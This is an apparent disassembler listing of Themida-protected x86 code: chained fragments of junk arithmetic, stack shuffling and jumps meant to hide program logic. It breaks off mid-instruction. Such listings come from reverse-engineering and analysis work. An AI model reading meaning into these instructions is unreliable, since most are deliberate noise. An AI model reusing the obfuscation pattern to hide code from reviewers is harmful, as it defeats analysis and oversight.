--------------------------------------------------------------------------- loc_593B7A: ; CODE XREF: Themida_:loc_594B19j xor al, 46h mov ch, 0Dh sub ch, al jmp loc_58E8AA ; --------------------------------------------------------------------------- loc_593B85: ; CODE XREF: Themida_:0059184Fj jg loc_590877 shl edi, 5 jz loc_58FBAF shl edi, 2 pop edx ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_593B98: ; CODE XREF: sub_5916C4+2275j mov edi, esp add edi, 4 jmp loc_5927E1 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- lodsb add al, 0A2h push edx push ebx mov bh, 17h shr bh, 3 dec bh add bh, 2Eh mov dl, bh pop ebx push eax jmp loc_5910A7 ; --------------------------------------------------------------------------- loc_593BBD: ; CODE XREF: Themida_:0058EC62j xor edi, ebp pop ebp jmp loc_5913BC ; --------------------------------------------------------------------------- loc_593BC5: ; CODE XREF: Themida_:0058DDB7j pop esp jmp loc_59086C ; --------------------------------------------------------------------------- loc_593BCB: ; CODE XREF: Themida_:00595360j pop ebx sub bl, al jmp loc_58B2F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_593BD3: ; CODE XREF: sub_5916CB+5187j add edx, 0DBD7D8B5h sub esi, 269B42BCh jmp loc_593F93 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_593BE4: ; CODE XREF: sub_5938B9+46F5j mov eax, 72C852D7h add eax, 613A767Bh inc eax sub eax, 669B71E3h add edi, eax jmp loc_58E115 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_593BFB: ; CODE XREF: sub_5EC2E8-5703Fj mov edx, esp push ebp mov ebp, 8E23BD1h add ebp, 2D0752F8h jmp loc_597613 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_593C0E: ; CODE XREF: sub_58F5B5-1EEAj sub ebp, 4291057Dh jnz loc_594BC3 jmp loc_597961 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- push eax mov eax, 4 ; START OF FUNCTION CHUNK FOR sub_5921D8 loc_593C25: ; CODE XREF: sub_5921D8+1885j xchg ebp, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] mov [esp-4+arg_0], ebx push 7E51h jmp loc_58B249 ; END OF FUNCTION CHUNK FOR sub_5921D8 ; --------------------------------------------------------------------------- loc_593C38: ; CODE XREF: Themida_:005968AEj push 24E2h jmp loc_593D0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_593C42: ; CODE XREF: sub_590467-139Ej mov ecx, 4 jmp loc_58A3E0 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_593C4C: ; CODE XREF: Themida_:0059478Fj not al and al, 0B7h jno loc_594B19 jmp loc_59225D ; --------------------------------------------------------------------------- mov [esp], ebp mov cl, 0ADh push ebp ; START OF FUNCTION CHUNK FOR sub_594654 loc_593C61: ; CODE XREF: sub_594654+60Aj sub edi, 62B9F0CDh add ebx, edi pop edi add ebx, 3B6C9EA0h add ecx, 3E43252Bh add ecx, ebx sub ecx, 3E43252Bh pop ebx jmp sub_58F013 ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- loc_593C84: ; CODE XREF: Themida_:0059474Cj add edi, 4 xchg edi, [esp] pop esp push ebx push edx mov dh, 3Ah push eax mov al, dh mov bl, al pop eax mov edx, [esp] add esp, 4 mov cl, 93h sub cl, bl jmp loc_590F98 ; --------------------------------------------------------------------------- loc_593CA7: ; CODE XREF: Themida_:005955E3j mov [esp], edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov fs:[edx], ax jmp loc_58F1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_593CC1: ; CODE XREF: sub_5916C4+26A1j shl esi, 7 neg esi jno loc_593AB7 jmp loc_58F1B1 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- and bh, 22h jnz loc_597668 movzx ax, byte ptr [edx] jmp loc_58EA58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_593CE3: ; CODE XREF: sub_590467+4FB1j add ebp, 83ABD5A8h or ebp, 782F01D4h jmp loc_58E495 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_593CF4: ; CODE XREF: sub_5EC2E8-5DC1Dj add ebx, eax push 3949h mov [esp+28h+var_28], edi mov edi, 2FB8467Bh sub edi, 0F9DC1114h push ebp jmp loc_593EBE ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_593D0F: ; CODE XREF: Themida_:00593C3Dj mov [esp], ebx jmp loc_59720F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_593D17: ; CODE XREF: sub_5938B9-108Aj mov edx, 0D6AFF97Eh jmp loc_5979F6 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- mov ecx, [esp] push edi mov edi, esp add edi, 4 push esi jmp loc_59469D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_593D33: ; CODE XREF: sub_5916C4-2510j pop eax add bl, 0E6h add al, 88h add al, bl sub al, 88h pop ebx push edx jmp loc_58D557 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_593D44: ; CODE XREF: Themida_:00594D3Bj push cx pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_593D4C: ; CODE XREF: Themida_:0058E870j sub ebx, 34922172h push 0 sub [esp], ebx mov ebx, [esp] jmp loc_592C51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_593D62: ; CODE XREF: sub_5916C4:loc_591CEEj shr esi, 5 jmp loc_593CC1 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_593D6A: ; CODE XREF: Themida_:0058FB04j push ecx mov ecx, 4 sub edi, 1C1C4E25h add edi, ecx add edi, 1C1C4E25h mov ecx, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp movsx ecx, ax push 27A8h mov [esp], ecx jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_593D9E: ; CODE XREF: Themida_:0058B591j mov [esp], ebp push 663F71A6h pop ebp shr ebp, 4 jp loc_593F88 sub ebp, 4D3B1F2Eh jmp loc_594AD9 ; --------------------------------------------------------------------------- loc_593DBB: ; CODE XREF: Themida_:00595A3Cj mov [esp], edx jmp loc_590BDC ; --------------------------------------------------------------------------- loc_593DC3: ; CODE XREF: Themida_:0058EE19j ; Themida_:0058FEF0j pop ecx push ebx push edx mov dl, 0ABh mov bh, dl jmp loc_5958F7 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push 31CDh mov [esp], ebp mov ebp, esp push eax mov eax, 4 add ebp, eax mov eax, [esp] jmp loc_596B49 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] jmp loc_58FE01 ; --------------------------------------------------------------------------- loc_593DF8: ; CODE XREF: Themida_:00597774j push esp push dword ptr [esp] pop eax add esp, 4 push 6AC6h mov [esp], esi mov esi, 1DE1626h shr esi, 5 xor esi, 0EF0B5h sub eax, 0AC76770h jmp loc_58A5F2 ; --------------------------------------------------------------------------- loc_593E23: ; CODE XREF: Themida_:00594799j not ah or ah, 12h shl ah, 4 add ah, 0D1h push ecx mov cl, 0F0h xor cl, 42h shl cl, 6 shr cl, 3 jmp loc_58A873 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_593E3F: ; CODE XREF: sub_595BDA:loc_58DED8j jmp loc_58B22C ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- loc_593E44: ; CODE XREF: Themida_:0058A768j pop edx push ebp xor dword ptr [esp], 64F20A58h pop ebx xor ebx, 64F20A58h jmp loc_58D65A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_593E59: ; CODE XREF: sub_5916C4-5F5Aj sub eax, 36DA3842h push edx mov edx, eax mov ecx, edx jmp loc_590B9E ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_593E68: ; CODE XREF: Themida_:00593776j sub ebx, edx jmp loc_596DB4 ; --------------------------------------------------------------------------- loc_593E6F: ; CODE XREF: Themida_:0058AA85j push edi mov edi, 29C5ABF9h push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], edx push eax push 44E2235Ah pop eax xor eax, 62E12928h jmp loc_5960EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_593E9B: ; CODE XREF: sub_58F5B5-3CD2j or eax, eax jz loc_5907E1 push dword ptr [edi+1Ch] push [esp-4+arg_0] jmp loc_590D34 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_593EAE: ; CODE XREF: sub_590010-4875j mov esi, [esp-10h+arg_C] jmp loc_58C13B ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_593EB6: ; CODE XREF: sub_58F5B5-3A26j mov [esp-8+arg_4], ebx jmp loc_5919AD ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_593EBE: ; CODE XREF: sub_5EC2E8-585DEj mov ebp, 1CB660BBh neg ebp sub ebp, 6A810DFAh xor ebp, 76C4F278h sub ebx, ebp pop ebp sub ebx, edi jmp loc_591C9E ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_593EDB: ; CODE XREF: Themida_:00595735j pop eax push 3259h mov [esp], esi mov esi, 6EEB32EBh shl esi, 6 dec esi sub esi, 11EC4B1Dh push 0 sub [esp], esi jmp loc_592059 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BA12 loc_593F00: ; CODE XREF: sub_58BA12+8E70j xchg edi, ebp push edx mov edx, 0C0FA05B1h xor ebp, edx push [esp+4+var_4] pop edx add esp, 4 sub ebx, ebp jmp loc_592E67 ; END OF FUNCTION CHUNK FOR sub_58BA12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_593F18: ; CODE XREF: sub_59762D-2118j ; sub_58C17E+B6FFj mov ebx, 6ADC4F39h sub ebx, 5C4BE992h add edi, ebx pop ebx jmp loc_5922FF ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_593F2B: ; CODE XREF: Themida_:00597FB4j push 24633F5Eh jmp loc_58CAED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_593F35: ; CODE XREF: sub_58C17E+6570j pop ecx pop edx push ecx mov ecx, 4 jmp loc_58C059 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EC96 loc_593F42: ; CODE XREF: sub_58EC96+5DD1j pop ax add cl, 6 sub cl, 85h sub cl, bh add cl, 85h sub cl, 6 jmp loc_58BCCD ; END OF FUNCTION CHUNK FOR sub_58EC96 ; --------------------------------------------------------------------------- loc_593F57: ; CODE XREF: Themida_:0058EAC7j mov ebp, 58CE28DBh push edx mov edx, 50B4622Ch and edx, 1151499Ah jmp loc_58D670 ; --------------------------------------------------------------------------- lodsb jmp loc_58FA09 ; --------------------------------------------------------------------------- loc_593F73: ; CODE XREF: Themida_:0058B9B5j or dh, 0AEh ja loc_58C626 sub dh, 0C0h mov cl, dh jmp loc_58F89A ; --------------------------------------------------------------------------- mov ah, 46h loc_593F88: ; CODE XREF: Themida_:00593DAAj sub ebp, 4D3B1F2Eh jmp loc_58C0B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_593F93: ; CODE XREF: sub_5916CB+2514j add esi, edx add esi, 269B42BCh mov edx, [esp+0Ch+var_C] add esp, 4 sub esi, 2821494h add esi, 14BF35EEh add esi, eax sub esi, 14BF35EEh add esi, 2821494h push ebp push eax jmp loc_58BAB2 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_593FC2: ; CODE XREF: Themida_:00595AF9j mov [esp], ecx mov cl, 0EFh add al, 62h add al, 0CEh sub al, cl jmp loc_58EA90 ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_58A2CE ; --------------------------------------------------------------------------- lodsb sub esp, 4 jmp loc_59504C ; --------------------------------------------------------------------------- loc_593FE3: ; CODE XREF: Themida_:005906E8j ; Themida_:00596224j pop ecx pop edi jmp loc_58FE71 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_593FF2: ; CODE XREF: sub_58F5B5+6CE1j push eax push [esp-4+arg_4] pop eax pop [esp-4+arg_0] pop esp mov [esp-0Ch+arg_8], ebx mov eax, [esp-0Ch+arg_8] add esp, 4 push ecx jmp loc_58F677 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_59400B: ; CODE XREF: Themida_:0058B494j mov edi, esp push edx mov edx, 284B33B3h not edx add edx, 77030FFBh xor edx, 4EB7DC43h add edi, edx jmp loc_58EFB1 ; --------------------------------------------------------------------------- loc_594028: ; CODE XREF: Themida_:0058A88Bj add dword ptr [esp], 4 mov edi, [esp] jmp loc_597431 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_594037: ; CODE XREF: sub_595E21-10j sub eax, 7DB64511h sub eax, edx add eax, 7DB64511h jmp loc_59321F ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_594048: ; CODE XREF: sub_59762D+713j mov ah, 0ECh inc ah xor ah, 0BBh add ch, ah pop eax sub ch, bl sub ch, 56h jmp loc_592A3A ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_59405C: ; CODE XREF: sub_590467-2BD8j not edi push edx push ebp mov ebp, 1F9E23AFh xor ebp, 32424DD5h jns loc_58A723 and ebp, 2E86331Eh or ebp, 400507A8h loc_59407D: ; CODE XREF: sub_590B70+1824j pop eax and ebp, ebx pop ebx sub ebp, 0EEFD9FECh xor eax, ebp pop ebp push ebp jmp loc_58FE0E ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591059 loc_594090: ; CODE XREF: sub_591059-44B3j mov eax, [esp+4+var_4] jmp loc_595DB6 ; END OF FUNCTION CHUNK FOR sub_591059 ; --------------------------------------------------------------------------- loc_594098: ; CODE XREF: Themida_:005953E5j jns loc_58F304 add ebp, 3EED7CF3h mov eax, ebp mov ebp, [esp] jmp loc_58C352 ; --------------------------------------------------------------------------- loc_5940AE: ; CODE XREF: Themida_:00593AD5j inc bl push ecx mov ch, 63h jmp loc_5912EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BA12 loc_5940B8: ; CODE XREF: sub_58BA12+12j pop esp push ebp mov ebp, 190807E6h not ebp jmp loc_591697 ; END OF FUNCTION CHUNK FOR sub_58BA12 ; --------------------------------------------------------------------------- loc_5940C6: ; CODE XREF: Themida_:0058E33Aj mov [esp], esi mov esi, 6A59796Dh shr esi, 5 jnz loc_594EA7 xor esi, 5E1109A9h shr esi, 5 inc esi push ebx ; START OF FUNCTION CHUNK FOR sub_58F836 loc_5940E2: ; CODE XREF: sub_58F836-3E08j sub ebp, 0FFFFFFFFh and ebp, 284340Ch not ebp inc ebp jmp loc_58FDEA ; END OF FUNCTION CHUNK FOR sub_58F836 ; --------------------------------------------------------------------------- loc_5940F3: ; CODE XREF: Themida_:0058DE54j jmp loc_58F3FA ; --------------------------------------------------------------------------- loc_5940F8: ; CODE XREF: Themida_:0058CED2j push 35922D5Bh pop edx dec edx inc edx or edx, 115D2797h jmp loc_591F90 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] push edx mov edx, esp push edi push ecx mov ecx, 4 mov edi, ecx pop ecx push ecx jmp loc_58FBD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DBC4 loc_594127: ; CODE XREF: sub_58DBC4-B0j mov esp, [esp+0] and eax, ebp jmp loc_58C119 ; END OF FUNCTION CHUNK FOR sub_58DBC4 ; =============== S U B R O U T I N E ======================================= sub_594131 proc near ; CODE XREF: sub_5938B9-19D7j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058CB31 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058F072 SIZE 0000001F BYTES sub esp, 4 mov [esp+4+var_4], ebx mov ebx, 0E526BC8h jmp loc_58CB31 sub_594131 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_594144: ; CODE XREF: sub_58F5B5+E6j push [esp+4+var_4] push [esp+8+var_8] pop ecx sub esp, 4 mov [esp+0Ch+var_C], edi jmp loc_597D55 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_594156: ; CODE XREF: Themida_:00591760j mov ebx, 4 add esi, ebx mov ebx, [esp] jmp loc_592F12 ; --------------------------------------------------------------------------- loc_594165: ; CODE XREF: Themida_:0058D248j pop ecx sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push esi mov esi, 0B6C50D4h neg esi add esi, 79ED0D0Bh xor esi, 42E9361Bh xor esi, 102A27A2h xor esi, 3C43AD8Ah jmp loc_58D0F1 ; --------------------------------------------------------------------------- loc_5941A2: ; CODE XREF: Themida_:0058BBC5j push dword ptr [esp] push dword ptr [esp] pop eax push eax mov eax, esp jmp loc_594FF3 ; --------------------------------------------------------------------------- loc_5941B1: ; CODE XREF: Themida_:0058D84Dj push edi mov edi, 53DF343Ch mov ebp, 777E653Bh xor ebp, edi pop edi shl ebp, 8 push ecx jmp loc_597586 ; --------------------------------------------------------------------------- loc_5941C8: ; CODE XREF: Themida_:00596E78j pop eax xchg ecx, [esp] pop esp ror dword ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5941D6: ; CODE XREF: sub_58C17E+5541j pop ecx push esi mov esi, esp add esi, 4 push edx mov edx, 4 add esi, edx jmp loc_58D92B ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_5941ED: ; CODE XREF: Themida_:00597D8Fj sub esp, 4 jmp loc_5958D0 ; --------------------------------------------------------------------------- xchg ecx, [esp] jmp loc_591495 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D99C loc_594200: ; CODE XREF: sub_58D99C+4E9Ej ja loc_591149 sub ebx, 1411871Fh and ecx, ebx mov ebx, [esp+8+var_8] push ebx mov ebx, esp loc_594214: ; CODE XREF: Themida_:00596607j sub ecx, ebp pop ebp xor ecx, [esp+8+var_8] jmp loc_5915DB ; END OF FUNCTION CHUNK FOR sub_58D99C ; --------------------------------------------------------------------------- loc_59421F: ; CODE XREF: Themida_:005930E0j push ebp mov ebp, 40CC1EF1h shr ebp, 8 xor ebp, offset loc_40CC1A add ebx, ebp pop ebp sub ebx, 4 xchg ebx, [esp] jmp loc_596DDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_59423F: ; CODE XREF: Themida_:0058F056j ; sub_5916C4+3050j not eax jmp loc_590631 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_594246: ; CODE XREF: Themida_:0059319Dj push 1978h mov [esp], ecx push edx push eax push ebx mov bh, 0F8h mov ah, bh pop ebx jmp loc_593215 ; --------------------------------------------------------------------------- loc_59425B: ; CODE XREF: Themida_:005904C4j neg esi jmp loc_595898 ; --------------------------------------------------------------------------- loc_594262: ; CODE XREF: Themida_:0058E5E9j pop edi neg ebx sub ebx, 0FFFFFFFFh xor ebx, 83E6F0CEh sub esi, ebx pop ebx sub esi, edi push edx push esi jmp loc_58B854 ; --------------------------------------------------------------------------- loc_59427D: ; CODE XREF: Themida_:0058DE4Ej push edi mov edi, 2 add ebx, 1F1069F7h add ebx, edi jmp loc_59536A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_594290: ; CODE XREF: sub_5EC2E8-5974Cj mov esp, [esp+16h+var_16] mov [esp+16h+var_16], eax jmp loc_58A801 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_59429B: ; CODE XREF: Themida_:0058D8D0j and edi, 30C80434h js loc_59225D add edi, 68D06334h jmp loc_58F9AE ; --------------------------------------------------------------------------- loc_5942B2: ; CODE XREF: Themida_:0058B907j mov edx, [esp] add esp, 4 jmp loc_597FF7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_5942C0: ; CODE XREF: sub_595E21+1DD3j add esp, 4 or edx, eax shl edx, 1 push 7BF0h mov [esp+10h+var_10], ecx sub esp, 4 mov [esp+14h+var_14], edx push 1 pop edx jmp loc_58B7F4 ; END OF FUNCTION CHUNK FOR sub_595E21 ; =============== S U B R O U T I N E ======================================= sub_5942E3 proc near ; CODE XREF: sub_590467-2C10j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058B01C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058BA75 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059033C SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00590D69 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00592540 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059283F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059393E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005939EA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00595F54 SIZE 00000029 BYTES push ebp mov ebp, 56B579BBh shr ebp, 6 xor ebp, 34C522DBh neg ebp add ebp, 32727084h shl ebp, 1 add ebp, 52D17DF8h jmp loc_5939EA sub_5942E3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_594307: ; CODE XREF: sub_59762D-CEA1j push edi mov edi, 8DF9C78Eh jmp loc_5964B8 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_594312: ; CODE XREF: Themida_:00592C30j pop dword ptr [esp] jmp loc_592E6F ; --------------------------------------------------------------------------- loc_59431A: ; CODE XREF: Themida_:00596986j pop ebp add dword ptr [esp], 7D17A4Eh jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_594327: ; CODE XREF: Themida_:0058F16Dj mov ebx, 2Ch add ebx, 7AF439E1h sub ebx, 19387EE3h add ebx, edi add ebx, 19387EE3h sub esp, 4 mov [esp], esi mov esi, 341E5FDBh shr esi, 3 jmp loc_596386 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_594356: ; CODE XREF: sub_58F5B5+4449j pop ebx mov edi, ebp jmp loc_59798B ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_59435E: ; CODE XREF: Themida_:00593195j mov edi, 4 add esi, edi mov edi, [esp] add esp, 4 push eax jmp loc_58E43D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_594371: ; CODE XREF: sub_5938B9-9023j sub bl, cl pop cx sub bl, 66h movzx eax, al mov dx, [esp+0] push edi push esp pop edi sub esp, 4 mov [esp+6+var_6], ebp jmp loc_58C7DE ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_594390: ; CODE XREF: Themida_:0058F85Aj ; sub_5916C4+3D71j mov ecx, [esp+0] add esp, 4 pop edx sub al, bl jmp loc_58B632 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_59439E: ; CODE XREF: Themida_:0058AD29j pop edi push esi mov esi, esp add esi, 4 push ecx mov ecx, 4 add esi, ecx pop ecx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_590E0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5943BF: ; CODE XREF: sub_5916C4+5600j push 3DFDh mov [esp-6+arg_0+2], eax jmp loc_58F259 ; --------------------------------------------------------------------------- loc_5943CC: ; CODE XREF: sub_5916C4-1939j pop eax jmp sub_5916CB ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_5943D2: ; CODE XREF: Themida_:0059321Aj push edi mov edi, esp jmp loc_594746 ; --------------------------------------------------------------------------- loc_5943DA: ; CODE XREF: Themida_:0058B85Fj sub esi, 718E0A0Fh push edi mov edi, 71F21419h jmp locret_58E754 ; --------------------------------------------------------------------------- loc_5943EB: ; CODE XREF: Themida_:0058AECEj mov eax, [esp] jmp loc_5925FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_5943F3: ; CODE XREF: sub_590010:loc_58F12Aj shl ecx, 2 jns loc_58CBED add ecx, 0E4CF820Dh mov esi, ecx pop ecx jmp loc_590CB7 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595655 loc_59440A: ; CODE XREF: sub_595655+293Dj dec esi xor esi, 607021C3h xor edx, esi pop esi sub edx, 6A2E8DF8h and ebx, edx pop edx or ebx, 54685089h shr ebx, 6 add ebx, 48E8AEC6h sub ebp, ebx pop ebx sub esi, 2CFD2B33h add esi, 220B2D76h jmp loc_58D27D ; END OF FUNCTION CHUNK FOR sub_595655 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_594440: ; CODE XREF: sub_595E21+128Aj push 156h mov [esp+0], ecx mov ecx, 65526119h jmp loc_597A80 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- loc_594452: ; CODE XREF: Themida_:00597345j or bh, 4Bh shr bh, 3 sub bh, 0DFh add al, bh mov ebx, [esp] push ecx jmp loc_59567A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DBC4 loc_594466: ; CODE XREF: sub_58DBC4+5279j mov esi, esp jmp sub_58EB1F ; END OF FUNCTION CHUNK FOR sub_58DBC4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_59446D: ; CODE XREF: sub_590010+D91j pop edx xchg ebx, [esp+4+var_4] jmp loc_58C51B ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_594476: ; CODE XREF: sub_59762D-77D2j jmp loc_5909F8 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_59447B: ; CODE XREF: Themida_:00593AB2j push edi mov edi, 4 push edi jmp loc_594608 ; --------------------------------------------------------------------------- loc_594487: ; CODE XREF: Themida_:0058A470j push dword ptr [esp+4] jmp loc_58B2B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_594490: ; CODE XREF: Themida_:0058DE24j ; sub_590467+FF6j mov eax, [esp+0Ah+var_A] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0] jmp loc_592CAD ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_5944A7: ; CODE XREF: Themida_:0059725Aj sub esi, 0C12CD789h add eax, 140C78A2h add eax, 5F5D17BEh jmp loc_596BD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_5944BC: ; CODE XREF: sub_595123-77EFj pop ebx add esp, 4 jmp loc_58F42A ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_5944C8: ; CODE XREF: Themida_:0058DE1Ej jmp loc_591533 ; --------------------------------------------------------------------------- mov ax, [esp] push 4EA7h jmp loc_59458B ; --------------------------------------------------------------------------- mov cx, [esp] push edi jmp loc_5978D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_5944E5: ; CODE XREF: sub_590010-E3Aj or eax, eax jz sub_58F5B5 push dword ptr [edi+1Ch] jmp loc_5904E6 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_5944F5: ; CODE XREF: Themida_:00590741j push ebx mov ebx, 55B465D3h neg ebx ja loc_58F846 not ebx add ebx, 41EA2DDDh jnb loc_58E86A sub ebx, 296387ABh jmp loc_58DB45 ; --------------------------------------------------------------------------- loc_59451C: ; CODE XREF: Themida_:00592F43j pop cx pop small word ptr [esp] push bx mov bx, 2 sub word ptr [esp+2], 19D6h add 